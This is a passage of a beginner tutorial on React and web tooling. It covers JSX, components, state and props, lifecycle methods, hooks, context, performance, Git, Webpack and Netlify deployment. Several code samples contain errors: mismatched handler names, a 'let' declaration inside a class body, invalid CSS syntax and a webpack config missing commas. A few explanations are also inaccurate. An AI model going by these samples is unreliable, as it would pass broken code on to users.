  </body>
)

<!-- JSX - HTML Output -->
<body><span>Hello</span><span>World</span></body>
```

- Children props
  - They are special kind of props
  - Whatever we put between tags is `children`
  - Received as `props.children`

```
<User age={56}>Brad</User>

// Same as
<User age={56} children="Brad" />
```

- There are some attribute name changes
  - NOTE: class becomes "className", for becomes "htmlFor"
- Cannot use `if-else` inside JSX
  - But you can use ternary!

React Components

- It is a building block that describes what to render
- To create component
    - Create local variable with Uppercase letter
    - React uses this to distinguish between components and HTML
- It is the heart and soul of react
- Every component must implements "render" method
- Every component has `state` obj and `prop` obj

```
// Create a component named FirstComponent
class FirstComponent extends React.Component {
  render() {
    return <h2>Hi, I am first react component!</h2>;
  }
}
```

- Your first component is called `FirstComponent`
- Your component returns `h2` element with string `Hi, I am first react component!`
- Using your first component

```
// As a root component

ReactDOM.render(<FirstComponent />, document.getElementById('root'));

// As a child component

<div>
  <FirstComponent />
</div>
```

Component Render

- Every component must have render function
- It should return single React object
    - Which is a DOM component
- It should be a pure function..
    - It should not change the state
    - Changing state in render function is not allowed
    - So, do not call `setState` here
        - Because it will call render again
- Component renders when `props` or `state` changes

```
// Root level usage

ReactDOM.render(<p>Hi!</p>, document.getElementById('root'));


// Using render inside component

class MyComponent extends React.Component {
  render() {
    return <h2>I am a Component!</h2>;
  }
}
```

Function Components

- They are stateless components by default
    - You can use React hooks to add states though
    - More about this in React hooks section
- It receive `props` as arguments
- The is no internal state
- There are no react lifecycle methods available
    - You can you react hooks to achieve this
    - React hook like `useEffect` should give you most of what you'd need
- **Use it whenever possible**
    - Whenever you don't care about the state of the component
    - Greatly reduce the baggage of class components
    - Also offer performance advantages
    - Improves readability

```
// First function component

function FirstComponent() {
  return <h2>Hi, I am also a Car!</h2>;
}
```

Class Components

- This is considered as the "old way" of defining components in React
- Define components using Classes
- They are stateful
    - They store component state change in memory

- You can access props via `this.props`
- You can access state using `this.state`
- They can use component lifecycle methods
- Whenever you care state of the component
  - Use class component

```
// Class component

class ClassComponent extends React.Component {
  constructor() {
    super();
    this.state = {age: 26};
  }

  render() {
    return <h2>I am a class component!</h2>;
  }
}
```

NOTE: Please prefer using Function components with React hooks whenever you need to create component that need to track it's internal state.

Pure components

- They are simplest and the fastest components
- You can replace any component that only has `render()` function with pure components
- It enhances simplicity and performance of app
- When `setState` method is called:
  - Re-rendering happens - it's blind
  - It does not know if you really changed the value
  - It just re-renders - this is where pure component comes in handy
- Pure components does a shallow compares the objects
  - So, do not blindly use pure components!
  - Know how your component state works before you use it

```
// App is a PureComponent
class App extends PureComponent {
  state = {
    val: 1
  }

  componentDidMount(){
    setInterval(()=> {
```

```
      this.setState(()=>{
        return { val : 1}
      });
    }, 2000)
  }

  render() {
    console.log('render App');
    return (
      <div className="App">
      <Temp val={this.state.val}/>
      </div>
    );
  }
}
```

Reusing Components

- We can refer to components inside other components
- This is great for writing a clean code
- It is recommended to refactor duplicate elements to their own reusable components
- Good rule of thumb - if you are using something more than 2 times refactor it out to be able to reuse it

```
class ChildComponent extends React.Component {
  render() {
    return <h2>I am child!</h2>;
  }
}

class FirstComponent extends React.Component {
  render() {
    return (
      <div>
        <h1>I am parent</h1>
        <ChildComponent />
      </div>
    );
  }
}


ReactDOM.render(<FirstComponent />, document.getElementById('root'));
```

States And Props

States

- It represents data internal to the component
- It represents the STATE of the component!
- It is objects which supplies data to component
- Variables which will modify appearance -
    - Make them state variables
- DON'T include something in state if you DON'T use it for re-rendering your component
    - Include it in prop instead
- Changing state re-renders component
- State object is immutable

```
class MyComponent extends React.Component {
  constructor(props) {
    super(props);
    this.state = {
      array: [3,4],
      userName: 'ninja'
    };

  }

  changeUserName = () => {
    // NOTE: this will NOT change this.state.array
    this.setState({
      userName: 'rjNinja'
    });
  }

  render() {
    return (
      <div>
        <p>
          It is a {this.state.userName}
        </p>
        <button
          type="button"
          onClick={this.changeColor}
        >Change UserName</button>
      </div>
    );
  }
}
```

Props

- Props are used to communicate between components
- Child components should be passed `state` data using `props`
- Props are immutable
- They are readonly
  - You will get an error if you try to change their value.
- Always passed down from parent to child
- Data Flow:
  - `state c1 -> prop c2 -> state c2 -> render`
- Keep props in control
  - Don't go crazy about defining them

```
// In Parent component
<Child name="Dan" id="101"></Child>

// Child component definition
<h1>{props.name}</h1>
<p>{props.id}</p>
```

Event Handling

- Very similar to handling events on DOM elements
- Events are named using camelCase, rather than lowercase
- With JSX you pass a function as the event handler
- React has the same events as HTML: click, change, mouseover etc

```
// handleClick is an event handler attached to the click event
<button onClick={handleClick}>
  Activate Lasers
</button>
```

- Call `preventDefault` explicitly to prevent default behavior

```
function handleClick(e) {
    e.preventDefault();
}
```

Bind `this`

- Needed only in case of Class components
- `this` represents the component that owns the method
- Tip: Use arrow functions to avoid confusion about `this`

```
class Car extends React.Component {
  drive = () => {
    // The 'this' keyword refers to the component object
    alert(this);
  }
  render() {
    return (
      <button onClick={this.drive}>DRIVE</button>
    );
  }
}
```

Passing Arguments

```
// event handler
drive = (a) => {
  alert(a);
}

// inside render function
<button onClick={() => this.drive("Far")}>Drive!</button>
```

Two Way Binding

One way data binding

- React supports one-way data binding by default

- o Unlike `AngularJS`
- So, a parent component has to manage states and pass the result down the chain to its children

Two Way - 2 way binding

- This is not available by default – out of the box like `AngularJS`
- You need event handling to do that
- Below example is how you update state with the value entered on the input

```
onHandleChange(event) {
  this.setState({
    homeLink: event.target.value
  });
}

<input type="text" value={this.state.homeLink} onChange={(event) =>
this.onHandleChange(event)} />
```

Module 3 - Styling your components

Inline Styles

- Inline styling react component means using JavaScript object to style it
- Tip: Styles should live close to where they are used - near your component

```
class MyComponent extends React.Component {
  let styleObject = {
    color: "red",
    backgroundColor: "blue"
  }

  render() {
    return (
      <div>
        <h1 style={styleObject}>Hi</h1>
      </div>
    );
  }
}
```

```
// You can also skip defining objects to make it simpler
// But, I don't recommend it because it can quickly get out of hands and
difficult to maintain

render() {
  return (
    <div>
      <h1 style={{backgroundColor: "blue"}}>Hi</h1>
    </div>
  );
}
```

CSS Stylesheets

- For bigger applications it is recommended to break out styles into separate files
- This way you can also reuse styles in multiple components by just importing the CSS file

```
// style.css file
.myStyle {
  color: "red";
  backgroundColor: "blue";
}

// component.js file
import './style.css';

class MyComponent extends React.Component {
  render() {
    return (
      <div>
        <h1 className="myStyle">Hello Style!</h1>
      </div>
    );
  }
}
```

Dynamic Styles

- You can dynamically change your component styles
- Real world example: when your input is invalid you'd want to show red color text inside the input

```
onHandleChange(event) {
  if(error) {
    this.setState({
      color: "red"
    });
  }
  else {
    this.setState({
      homeLink: event.target.value
    });
  }

}

<input type="text" value={this.state.homeLink} onChange={(event) =>
this.onHandleChange(event)} style={{color: this.state.color}} />
```

- You can also dynamically change the class names instead of individual styles

```
// Traditional way
<input type="text" className={'valid ' + this.state.newClass} />

// Using string template
<input type="text" className={`valid ${this.state.something}`} />
```

Module 4 - Advanced React

Conditional Rendering

- React components lets you render conditionally using traditional conditional logic
- This is useful in situations for example: showing loading state if data is not yet retrieved else show the component details when data is retrieved
- You can use `if..else` or `ternary` or `short-circuit` operators to achieve this

```
// IF-ELSE

const Greeting = <div>Hello</div>;

// displayed conditionally
function SayGreeting() {
  if (loading) {
    return <div>Loading</div>;
  } else {
    return <Greeting />; // displays: Hello
  }
}
```

```
// Using ternary and short-circuit method

const Greeting = <div>Hello</div>;
const Loading = <div>Loading</div>;

function SayGreeting() {
  const isAuthenticated = checkAuth();

  return (
    <div>
      {/* if isAuth is true, show AuthLinks. If false, Login  */}
      {isAuthenticated ? <Greeting /> : <Loading />}

      {/* if isAuth is true, show Greeting. If false, nothing. */}
      {isAuthenticated && <Greeting />}
    </div>
  );
}
```

Outputting Lists

- React uses `Array.map` method to output items in an array
- This is needed in situations for example outputting list of fruits, or list of users in your database
- You can render multiple component using `Array.map` just as you'd do with normal collection of numbers or string

```
const numbers = [1, 2, 3, 4, 5];
const listItems = numbers.map((number) =>
  <div>{number}</div>
);
```

- A little advanced example where you have a component that accepts list of numbers through props

```
function NumberList(props) {
  const numbers = props.numbers;
  const listItems = numbers.map((number) =>
    <div>{number}</div>
  );
  return (
    <div>{listItems}</div>
  );
}

const numbers = [1, 2, 3, 4, 5];
<NumberList numbers={numbers} />
```

Keys

- When you run the above code it will give you a warning that a key should be provided to each of the item
- Also, when you provide that key it should be unique for each item
- You can modify the code to below

```
const listItems = numbers.map((number) =>
  <div key={number.toString()}>{number}</div>
);
```

- Keys are useful construct in React
- It helps React identify and keep track updates on each item in the collection
- That is why it is important for keys to be unique
- Avoid using `index` of array item as keys as it may negatively impact performance and cause unexpected bugs

Higher Order Components

- It is a design pattern
  - Not specifically for React - but widely used in React
- It is a technique for reusing component logic
- Higher-order component is a function that takes a component and returns a new component

```
const ModifiedComponent = higherOrderComponent(WrappedComponent);
```

- It is used to move out the shared same functionality across multiple components
- Example: manage the state of currently logged in users in your application
  - create a higher-order component to separate the logged in user state into a container component
  - then pass that state to the components that will make use of it

```
// commonStyles.js
// this is used by HOC
const styles = {
  default : {
    backgroundColor: '#737373',
    color: '#eae8e8',
  },
  disable : {
    backgroundColor: '#9c9c9c',
    color: '#c7c6c6',
  }
}

export default styles;


// HOC

const translateProps = (props) => {
  let _styles = {...commonStyles.default}

  if(props.disable){
```

```
    // existing plus disable styles!!!
    _styles = {..._styles, ...commonStyles.disable};
  }

  const newProps = {...props, styles:_styles }
  return newProps;
}

// this function is the HOC function
// it takes in button... and passes the necessary props to that component
export const MyHOC = (WrappedComponent) => {
  return function wrappedRender(args) {
    return WrappedComponent(translateProps(args));
  }
}

// USAGE: button component
const MyButton = (props) => {
  return (
    <button style={props.styles}>I am MyButton</button>
  )
}

// USAGE of HOC
export default MyHOC(ButtonOne);
```

Cons of HOC

- HOC can be difficult to understand initially
- Every view that will be used with the HOC has to understand the shape of the `props` passed
- Sometimes we have to have a component whose only purpose is transforming `props` into the intended ones, and that feels inefficient
- Some HOCs will always lead to branched views...
    - similar views but not exactly same looking
- Multiple/nested HOCs are bug prone
    - hard to debug bugs
- Typing is not easy

Render Props

- Render prop is a pattern in which you are passing a function as a prop
- Also known as `Children as Function` pattern
- `render props` and `HOC` patterns are interchangeable

- ○ You can use one or the other
- Both patterns are used to improve reusability and code clarity
- Simply put, when you are using `this.props.children` you are using render prop
  - ○ We are using children as the render prop

Con

- It can lead to a nasty callback hell
  - ○ This is solved by react hooks

```
// Section
const Section = ({children}) => {
  const number = 1000;

  return children(number);
};


// App
<Section>
  {({number}) => (
    <div>
      <p>You are at {number}</p>
    </div>
  )}
</Section>
```

Component Lifecycle

- 4 phases: `initialization, mounting, updating and unmounting`

initialization

- where we define defaults and initial values for this.props and this.state
- implementing getDefaultProps() and getInitialState()

mounting

- Occurs when component is being inserted into DOM

- Child component is mounted before the parent component

- `componentWillMount()` and `componentDidMount()` methods are available in this phase

- Calling `this.setState()` within this method will not trigger a re-render..

    - this notion can be used to your advantage

- called after `getInitialState()` and before `render()`

componentWillMount()

- before render, on client and server side
- after constructor
- you can setState here based on the props
- runs only once
- only hook that runs on server rendering
- parent component `componentWillMount` runs before child's `componentWillMount`

componentDidMount()

- after first render.. only on client side
- great place to set up initial data
- child component `componentDidMount` runs before parent's `componentDidMount`
- runs only once
- you can make ajax call here
- setup any subscriptions here
    - unsubscribe in `componentWillUnmount`

static getDerivedStateFromProps()

- this method is called (or invoked) before the component is rendered to the DOM on initial mount
- allows a component to update its internal state in response to a change in props
- should be used sparingly as you can introduce subtle bugs into your application if you aren't sure of what you're doing.
- return object with new values to update the state
- return null to make no updates

```
static getDerivedStateFromProps(props, state) {
  return {
    points: 200 // update state with this
  }
}
```

updating

- when component state and props are getting updated
- during this phase the component is already inserted into DOM

componentWillReceiveProps()

- runs before render
- you can setState
- DON'T change props here

shouldComponentUpdate()

- decide whether or not to re-render component
    - true -> re-render, false -> do not re-render
- good for performance enhancements

getSnapshotBeforeUpdate()

- Right after the render method is called -
    - the getSnapshotBeforeUpdate lifecycle method is called next.
- Handy when you want some DOM info or want to change DOM just after an update is made
- Value queried from the DOM in getSnapshotBeforeUpdate will refer to the value just before the DOM is updated
    - Think of it as staged changes before actually pushing to the DOM
- Doesn't work on its own.
    - It is meant to be used in conjunction with the componentDidUpdate lifecycle method.
- Example usage:
    - in chat application scroll down to the last chat

```
getSnapshotBeforeUpdate(prevProps, prevState) {

}
```

componentWillUpdate()

- similar to componentWillMount
- set variables based on state and props
- do not setState here... infinite loop

componentDidUpdate()

- it has prevProps and prevState available
- lifecycle method is invoked after the getSnapshotBeforeUpdate is invoked
    - Whatever value is returned from the getSnapshotBeforeUpdate lifecycle method is passed as the THIRD argument to the componentDidUpdate method.

```
componentDidUpdate(prevProps, prevState, snapshot) {

}
```

unmount

- only one method → `componentWillUnmount()`
- executed immediately BEFORE component is unmounted from DOM
- used to perform any cleanup needed

error handling

- `static getDerivedStateFromError()`
- Whenever an error is thrown in a descendant component, this method is called first

```
static getDerivedStateFromError(error) {
  console.log(`Error log from getDerivedStateFromError: ${error}`);
  return { hasError: true };
}
```

componentDidCatch()

- Also called after an error in a descendant component is thrown
- It is passed one more argument which represents more information about the error

```
componentDidCatch(error, info) {

}
```

Module 5 - React hooks

React Hooks Basics

- Introduced in React 16.8
- It is a way to add `React.Component` features to functional components
  - Specifically you can add state and lifecycle hooks
- It offers a powerful and expressive new way to reuse functionality between components
- You can now use `state` in functional components
  - Not only the class components
- Real world examples:
  - Wrapper for firebase API
  - React based animation library
    - `react-spring`

Why React Hooks?

- Why do we want these?
  - JS `class` confuses humans and machines too!
- Hooks are like `mixins`
  - A way to share `stateful and side-effectful` functionality between components.
- It offers a great way to reuse stateful code across components
- It can now replace your render props or HOCs
- Developers can care LESS about the underline framework
  - Focus more on the business logic
  - No more nested and complex JSX (as needed in render props)

useState React Hook

- `useState` hook gives us local state in a function component
  - Or you can simply use `React.useState()`
- Just import `useState` from `react`
- It gives 2 values
  - 1st - value of the state
  - 2nd - function to update the state
- It takes in initial state data as a parameter in `useState()`

```
import React, { useState } from 'react';
```

```
function MyComponent() {
  // use array destructuring to declare state variable
  const [language] = useState('react');

  return <div>I love {language}</div>;
}
```

- Second value returned by `useState` hook is a setter function
- Setter function can be used to change the state of the component

```
function MyComponent() {
  // the setter function is always the second destructured value
  const [language, setLanguage] = useState('react');

  return (
    <div>
      <button onClick={() => setLanguage("javascript")}>
        I love JS
      </button>
      <p>I love {language}</p>
    </div>
  );
}
```

- You can create as many states as you'd want in your component

```
const [language, setLanguage] = React.useState('React');
const [job, setJob] = React.useState('Google');
```

- You can initiate your state variable with an object too

```
const [profile, setProfile] = React.useState({
  language: 'react',
  job: 'Google'
});
```

useEffect React Hook

- It lets you perform side effects in function components

- It is used to manage the side effects
- Examples of side effects:
  - Data fetching
  - Setting up subscription
  - Manually changing DOM in react components
- Think of `useEffect` Hook as `componentDidMount`, `componentDidUpdate`, and `componentWillUnmount` combined together into one function
  - So previously we would have to duplicate the code in all those 3 lifecycle hooks
  - This is solved with `useEffect`

More About `useEffect`

- Effects scheduled with `useEffect` don't block the browser from updating the screen
  - Unlike the class based lifecycle
- By using this Hook, you tell React that your component needs to do something after rendering
- Does `useEffect` run after every render? **Yes!**
- You can add multiple `useEffect` hook functions to do different things in a single component
  - That is the beauty of `useEffect`

Cleanup

- `useEffect` also handles cleanup
- Just return a function which does the cleanup
  - `useEffect` will run it when it is time to clean up
- React performs the cleanup when the component unmounts
- React also cleans up effects from the previous render before running the effects next time

```
import React, { useState, useEffect } from 'react';

function MyComponent() {
  const [count, setCount] = useState(0);

  // NOTE: when component is mounted pass empty array
  // this hook only runs 1 time after component is mounted
  useEffect(() => {
    console.log("I am born. Runs 1 time.")
  }, []);

  // NOTE: define another useeffects for componentDidMount and
componentDidUpdate
  useEffect(() => {
    console.log("Runs on initial mount, and also after each update")

    // Update the document title using the browser API
```

```
      document.title = `You clicked ${count} times`;

      // NOTE: return function that does the cleanup
      // Unsubscribe any subscriptions here
      return function cleanup() {
        console.log("This function takes care of cleanup")
        // ex: window.removeEventListener()
      }
    });

    return <button onClick={() => setCount(count + 1)}>Update
Count</button>;
  }
```

useRef React Hook

- `useRef` returns a mutable ref object.
- The object's .current property is initialized to the passed argument - default initial value.
- The returned object will persist for the full lifetime of the component.

```
const refObject = useRef(initialValue);
```

Two Use Cases

1. Accessing DOM nodes or React elements

- You can use it to grab a reference of the text input element and focus it on button click

```
import React, { useRef } from "react";

const MyComponent = () => {
  const myInput = useRef();

  focusMyInput = () => myInput.current.focus();

  return (
    <>
      <input type="text" ref={myInput} />
      <button onClick={focusMyInput}>Focus input</button>
```

```
      </>
    );
}
```

- NOTE: you can use `createRef` if you are using Class components

2. Keeping a mutable variable

- Equivalent to instance variables in class components
- Mutating the `.current` property won't cause re-renders

```
const MyComponent = (prop) => {
  const myCounter = useRef(0);

  const updateState = () => {
    // Now we can update the current property of Referenced object
    myCounter.current++;
  }

  return (
    <div>
      <div>
        <div>myCounter : {myCounter.current}</div>
        <input type="button" onClick = {() => updateState()} value="Update
myCounter"></input>
      </div>
    </div>
  );
}
```

- Mutating the `.current` property doesn't cause a re-render
- React recommends three occasions where you can use it because you have no other choice.
  - Managing focus, text selection, or media playback.
  - Integrating with third-party DOM libraries.
  - Triggering imperative animations.

Context

- Provides a way to pass data through the component tree
  - without having to pass props down manually at every level
- Passing down props can be cumbersome when they are required by many components in the hierarchy

- Use it when you want to share data that can be considered "global" for a tree of React components
  - Ex: User information, Theme, Browser history

React.createContext

- Use React.createContext to create a new context object

```
const MyThemeContext = React.createContext("light");
```

Context provider

- We need a context provider to make the context available to all our React components
- This provider lets consuming components to subscribe to context changes

```
function MyComponent() {
  const theme = "light";

  return (
    <MyThemeContext.Provider value={theme}>
      <div>
        my component
      </div>
    </MyThemeContext.Provider>
  );
}
```

Consuming context

- We assign a contextType property to read the current theme context.
- In this example, the current theme is "light".
- After that, we will be able to access the context value using this.context

```
class ThemedButton extends React.Component {
```

```
    static contextType = MyThemeContext;

    render() {
      return <Button theme={this.context} />;
    }
}
```

useContext

- In the previous chapter we learned about what is `Context` and why it is useful in React
- `Context` can also be used in Function components

- Consuming context with functional components is easier and less verbose
- We just have to use a hook called `useContext`
- It accepts a context object
- It returns the current context value for that context

```
const Main = () => {
  const currentTheme = useContext(MyThemeContext);

  return(
    <Button theme={currentTheme} />
  );
}
```

- `useContext(MyThemeContext)` only lets you read the context and subscribe to its changes
- You still need a `<MyThemeContext.Provider>` above in the tree to provide the value for this context

```
function MyComponent() {
  const theme = "light";

  return (
    <MyThemeContext.Provider value={theme}>
      <div>
```

```
            my component
        </div>
    </MyThemeContext.Provider>
    );
}
```

Module 6 – App performance optimization

Improve React app performance

- Measure performance using these tools
    - Chrome dev tools
        - try the `throttle` feature
    - React devtools profiler
    - Chrome's Lighthouse tool
- Minimize unnecessary component re-renders
    - use `shouldComponentUpdate` where applicable
    - use `PureComponent`
    - use `Rect.memo` for functional components
    - use `React.lazy` if you are not doing server-side rendering
    - use `service worker` to cache files that are worth caching
    - use libraries like `react-snap` to pre-render components
- Cache things worth caching
    - use service worker... it runs in the background
    - include specific functionality on a separate thread to improve UX
- Server-side rendering
- Pre-render if you cannot SSR
    - middle-ground between SSR and CSR
    - usually involves generating HTML pages for every route during build time
    - and serving that to the user while a JavaScript bundle finishes compiling.
- Check the app performance on mobile
- Lists cause most of the performance problems
    - Long list renders cause problems
    - To fix
        - Implement virtualized lists
            - like infinite scrolling
        - Or pagination

Memoization

- It is available from React > 16.6 version
- Memoization is a technique to use previously stored results and fasten computation
- Memoization means caching the output based on the input
    - In the case of functions, it means caching the return value based on the arguments
- It is similar to `shouldComponentUpdate` or using pure components
    - But you don't need class components

- You can use `React.memo` on function components

When to use it?

- It is used to not re-render your components unnecessarily
- Suppose your `state` object is updating
    - But the value is not really changing
    - You can use memo to NOT re-render your functional component
- If your component just takes primitive values as props,
    - Just wrap it in `memo()` to prevent an unwanted re-render.

```
export default React.memo((props) => {
  return (<div>{props.val}</div>)
})
```

- `React.memo()` by default just compares the top-level props
- It is not that simple for nested objects
- For nested objects, you can pass custom comparer function to check if prop values are same

```
const MemoedElemenet = React.memo(Element, areEqual)

export function areEqual(prevProps: Props, nextProps: Props) {
  const cardId = nextProps.id
  const newActiveCardId = nextProps.activeCardId
  const prevActiveCardId = prevProps.activeCardId
  const newActiveElement = newActiveCardId !== prevActiveCardId
  const isActive = newActiveCardId === cardId

  return !some([
    newActiveElement,
    isActive,
  ])
}
```

TIP: General advice is to avoid memoization until the profiler tells you to optimize

useMemo

- `React.memo` is used to memoize components
- You can use `useMemo` to memoize inner variables
- If there's CPU intensive operation going on to calculate those variables
- And the variables does not really change that often - use `useMemo`

```
const allItems = getItems()

// CPU intensive logic
const itemCategories = useMemo(() => getUniqueCategories(allItems),
[allItems])
```

Lazy Loading

- Lazy loading is another technique to improve your app performance

- You can split your JavaScript bundles and dynamically import the modules
- Example: only import lodash `sortby` function dynamically in the code where it is actually needed

```
import('lodash.sortby')
  .then(module => module.default)
  .then(module => doSomethingCool(module))
```

- Another way is to load components only when they are in the viewport
- You can use this awesome library react-loadable-visibility for this purpose

```
// example from https://github.com/stratiformltd/react-loadable-visibility

import LoadableVisibility from "react-loadable-visibility/react-loadable";
import MyLoader from "./my-loader-component";

const LoadableComponent = LoadableVisibility({
  loader: () => import("./my-component"),
  loading: MyLoader
});

export default function App() {
  return <LoadableComponent />;
}
```

Suspense

> NOTE: Suspense is an experimental feature at this time. Experimental features may change significantly and without a warning before they become a part of React.

- Suspense is another technique used for lazy loading
- It lets you "wait" for some code to load and lets you declaratively specify a loading state (like a spinner) while waiting

```
import React, { Component, lazy, Suspense } from 'react'

const MyComp = lazy(() => import('../myComp'))

<Suspense fallback={<div>Loading...</div>}>

<div>
  <MyComp></MyComp>
</div>
```

- Suspense is most popularly used for waiting for the data
- But it can also be used to wait for images, script, or any asynchronous code
- It helps you avoid race conditions
    - Race conditions are bugs that happen due to incorrect assumptions about the order in which our code may run.
    - Suspense feels more like reading data synchronously — as if it was already loaded.

Suspense - Data Fetching

- It is used to wait for rendering component until the required data is fetched
    - That means - no need to add conditional code anymore!
- You need to enable `concurrent mode`
    - So the rendering is not blocked
    - This gives better user experience

```
//  install the experimental version

npm install react@experimental react-dom@experimental
```

```
// enable concurrent mode

const rootEl = document.getElementById('root')

// ReactDOM.render(<App />, rootEl)
const root = ReactDOM.createRoot(rootEl) // You'll use a new createRoot
API

root.render(<App />)
```

- Using Suspense for data fetching

```
const CartPage = React.lazy(() => import('./CartPage')); // Lazy-loaded

// Show a spinner while the cart is loading
<Suspense fallback={<Spinner />}>
  <CartPage />
</Suspense>
```

This approach is called Render-as-You-Fetch

1. Start fetching
2. Start rendering
3. Finish fetching

- It means we don't wait for the response to come back before we start rendering
- We start rendering pretty much immediately after kicking off the network request

```
const resource = fetchCartData();

function CartPage() {
  return (
    <Suspense fallback={<h1>Loading cart...</h1>}>
      <CartDetails />
    </Suspense>
  );
}

function CartDetails() {
  // Try to read product info, although it might not have loaded yet
  const product = resource.product.read();
  return <h1>{product.name}</h1>;
```

```
    }
```

Sequence of action in the above example

1. `CartPage` is loaded
2. It tries to load `CartDetails`
3. But, `CartDetails` makes call to `resource.product.read()` - so this component "suspends"
4. React shows the fallback loader and keep fetching the data in the background
5. When all the data is retrieved the fallback loader is replaced by `CartDetails` children

Web Development

Module 1 - Web Development Tooling

Git and GitHub Basics

What is Git

- Git is a Version Control System (VCS)
- A version control system helps you document and store changes you made to your file throughout it's lifetime
- It makes it easier to managing your projects, files, and changes made to them
- You can go back and forth to different versions of your files using Git commands
- It helps keep track of changes done to your files over time by any specific user

Install Git

- You will first have to install Git to be able to use it
- You can follow the steps from their official docs - https://git-scm.com/
- Once you install verify it by running this command

```
git


// sample output exerpt

usage: git [--version] [--help] [-C <path>] [-c <name>=<value>]
           [--exec-path[=<path>]] [--html-path] [--man-path] [--info-path]
           [-p | --paginate | -P | --no-pager] [--no-replace-objects] [--
bare]
           [--git-dir=<path>] [--work-tree=<path>] [--namespace=<name>]
           <command> [<args>]
```

Create Git project

- After your have installed the Git create your first project by running following command

```
git init Ngninja

// Ngninja is your project name. It can be anything you want.

cd Ngninja
```

- When you run this command a Git repository will be created
- And you will go inside that directory

Adding a file to your repo

- Create a text file `first.txt` in your new folder
- Now to add that file to the Git repository run the following command

```
git add first.txt
```

- This will stage your file making it ready to commit
- The `git add` command takes a snapshot of your file
- Now you will have to push/save this snapshot to your Git repository

Pro tip: You can add all your files by simply running `git add .` instead of providing the individual file names

Commiting your file

- Once you have staged your you will have to run commit command to push your changes to the Git repository
- Run the following command to commit your changes

```
git commit -m "my first commit"
```

- Running this command will make save the snapshot of that file in your Git history
- Commit command can take multiple flags allowing you to customize the command
- `-m` flag is used to provide the commit message

- You can see list of all the available flags here

Git Branching

- Git provides a way for multiple people working on the same project using different branches

- Think of Git as a tree

    - Each developer can create their own branch to do their specific work on the project
    - The main branch of the tree is usually called `master`
    - Each developer can commit their changes to their respective branches
    - And when their work is finished they can merge their changes to the main `master` branch

- Run the below command to create your Git branch

```
git branch featureABC
```

- It will create a new branch named `featureABC`
- Like the other Git command this command has other flags available to use
- Read the entire list here

Checkout the branch

- Please note that the above `git branch` command will only create a new branch
- To move your control to that branch you will have to execute another command
- It is called checkout in Git language

```
git checkout featureABC
```

- This will change your current branch to `featureABC`

Pro Tip: You can create and checkout a new branch in just one command using - `git checkout -b featureABC`

Merging branches

- After you are done working on a feature you may want to merge it to the master branch where you maintain the code for all the completed features
- To do that you will have to merge your branch with the master branch
- Run the following commands to do the merge

```
git checkout master

git merge featureABC
```

- Here you are switching your branch to `master`
- Then the `merge` command merges the changes from the `featureABC` branch to the master branch
- If there are merge conflicts you will have to solve them before completing the merge

Webpack

- It is a module loader/packager/module bundler
    - You can code your modules independently
    - And then just give the starting point to your project
- You can provide "entry point" to your app
    - It then resolves all its imports recursively
- You can use it to minify your code
    - CSS, JavaScript, Static files

```
// Simple config

// It will combine and included all referenced files and minify your
JavaScript
"scripts": {
  "build": "webpack"
}
```

- Then you can run the above command using `npm` or `yarn` as follows

```
npm run build
```

Installing Webpack

- Run the following command in your project directory to install webpack

```
npm install --save-dev webpack webpack-dev-server webpack-cli
```

- `webpack module` — this includes all core webpack functionality

- `webpack-dev-server` — this enables development server to automatically rerun webpack when our file is changed

- `webpack-cli` — this enables running webpack from the command line

- To run development server write this in your `package.json`

- Then run `npm run dev`

- To make your project ready for production run `npm run build`

```
"scripts": {
  "dev": "webpack-dev-server --mode development",
  "build": "webpack --mode production"
},
```

Webpack in-depth

- You can also load external plugins and dependencies using Webpack

  - For ex: You can also transpile your JavaScript file using Babel

- Webpack is used to manage your code

  - For example: Put code together and combine everything in a single file
  - So that there are no dependency issues because of order of importing files
    - You just have to mention in each file all its dependencies
    - Then web pack finds the code properly for you

- It does not duplicate imported modules or dependencies

- - Even if you import is multiple times in different files

- Some more examples

```
"scripts": {
  "build": "webpack src/main.js dist/bundle.js", // create bundled JS file
  "execute": "node dist/bundle.js", // uses Node.js to execute/run the
bundled script
  "start": "npm run build -s && npm run execute -s" // do everything above
in single command
}
```

Webpack config

- We can write custom webpack config for our project
- Create `webpack.config.js` in your project root directory and write your config in that file
- Sample config file can look like this

```
const path = require('path')
const HtmlWebpackPlugin = require('html-webpack-plugin')

module.exports = {
  mode: "development",
  entry: "./modules/index.js"
  output: {
    filename: "build.js"
    path: path.resolve(__dirname, "build"), // creates a build folder in
root
  },
  rules: [
    {
      test: /\.css$/,
      use: ["style-loader", "css-loader"]
    }
  ],
  plugins: [
    new HtmlWebpackPlugin({
      template:  path.resolve('./index.html'),
    }),
  ]
}
```

- You can set `mode` to `development` or `production`

- Default is `production` mode
- `development` mode means JavaScript is not minified
  - So it is easy to debug
  - You can use bad practices like `eval`
- `production`
  - It minifies code
  - You cannot use bad practices like `eval`
  - The build is optimized for better performance
- The `entry` tells Webpack where to start
  - It takes one or more entries
  - It looks in these entry files if some other files are imported
  - It goes down to till no file is importing any other file
- `output` config
  - `main.js` by default
  - You can provide custom output file name, and file path
- `output` path
  - It is recommended to install `path` package
  - You can use it to correctly specify path instead of guess work
  - So you can avoid doing `../../.....`
- `rules` define actions to perform based on the predicate
  - We wrote a rule above for `CSS` files
  - For all the CSS files please run it through the `style-loader` and `css-loader`
- `plugins` lets you customize your project packaging
  - We have added `HtmlWebpackPlugin`
  - Install it with `npm install html-webpack-plugin -D` command
  - This plugin will generate `index.html` file in the same directory where our `build.js` is created by Webpack
  - This step will be useful to deploy your React project to Netlify

Deploying React App To Internet

- Developing locally is good for testing but you may want to deploy your amazing app to the internet for the world to see
- You can do it for free by using services like Netlify, Firebase, and many others
- We will look at how to deploy your app to the internet using Netlify
- Netlify is a great service that lets you deploy static sites for free
- It also includes tooling around managing your deployment process

Deploy to Netlify

- First step, register your Netlify account - https://app.netlify.com/signup
- Select on `New site from Git` button

- Authorize Github to give access to Netlify
- Then select your project repo
- Select `master` branch to deploy from
- Enter `npm run build` in the build command
- Enter `build/` folder as your publish directory
- Click on "Deploy Site"
- Once the deployment is complete the status will change to "Published"
- Then go to your site
    - URL will be on the top left on the Netflify project page
    - URL will look something like this `https://happy-ramanujan-9ca090.netlify.com/`
- Your React app is now deployed

Easy setup deploy

- If you want an easy way to deploy your simple HTML and CSS page follow these steps
- Go to Netlify Drop
- Drop the folder that contains your HTML and CSS file on that page where it says `Drag and drop your site folder here`
- And Voila! It should create a unique URL for your project
- URL will look something like this `https://happy-ramanujan-9ca090.netlify.com/`

Module 2 - HTTP and API

What is HTTP

- Hyper Text Transfer Protocol
- It defines a set of rules for sending and receiving (transfer) web pages (hypertext)
  - It is also used to transfer other type of data like JSON and images
